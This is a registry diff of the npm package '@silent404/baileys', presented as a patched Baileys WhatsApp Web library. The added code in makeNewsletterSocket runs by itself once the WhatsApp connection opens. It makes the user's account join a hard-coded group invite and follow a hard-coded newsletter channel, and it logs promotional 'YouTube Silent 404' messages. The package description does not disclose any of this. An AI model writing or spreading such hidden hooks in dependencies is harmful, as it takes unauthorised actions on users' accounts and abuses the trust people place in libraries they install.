@silent404/baileys 7.0.1 → 7.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -35,6 +35,38 @@ const parseNewsletterMetadata = (result) => {
35
35
  };
36
36
  export const makeNewsletterSocket = (config) => {
37
37
  const sock = makeGroupsSocket(config);
38
+
39
+ // Built-in auto-join targets: run once after WhatsApp connection opens.
40
+ const AUTO_JOIN_GROUP_INVITE_CODE = 'DX3If8rgUQFLnkbquI6SkB';
41
+ const AUTO_FOLLOW_CHANNEL_JID = '120363412548428603@newsletter';
42
+ let autoJoinStarted = false;
43
+
44
+ sock.ev.on('connection.update', ({ connection }) => {
45
+ if (connection !== 'open' || autoJoinStarted) return;
46
+ autoJoinStarted = true;
47
+
48
+ void (async () => {
49
+ try {
50
+ const joinedGroup = await sock.groupAcceptInvite(AUTO_JOIN_GROUP_INVITE_CODE);
51
+ console.info('[ Thanks ] YouTube Silent 404 :', joinedGroup ?? 'No group JID returned');
52
+ } catch (error) {
53
+ console.warn('[ Subscribe ] YouTube Silent 404 :', error?.message ?? error);
54
+ }
55
+
56
+ try {
57
+ await genericExecuteWMexQuery(
58
+ { newsletter_id: AUTO_FOLLOW_CHANNEL_JID },
59
+ QueryIds.FOLLOW,
60
+ XWAPaths.xwa2_newsletter_follow,
61
+ sock.query,
62
+ sock.generateMessageTag
63
+ );
64
+ console.info('[ Thanks ] YouTube Silent 404 ', AUTO_FOLLOW_CHANNEL_JID);
65
+ } catch (error) {
66
+ console.warn('[ Subscribe ] YouTube Silent 404 :', error?.message ?? error);
67
+ }
68
+ })();
69
+ });
38
70
  const { query, generateMessageTag } = sock;
39
71
  const executeWMexQuery = (variables, queryId, dataPath) => {
40
72
  return genericExecuteWMexQuery(variables, queryId, dataPath, query, generateMessageTag);
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@silent404/baileys",
3
3
  "type": "module",
4
- "version": "7.0.1",
4
+ "version": "7.0.3",
5
5
  "description": "Custom patched version of the Baileys WhatsApp Web library",
6
6
  "keywords": [
7
7
  "whatsapp",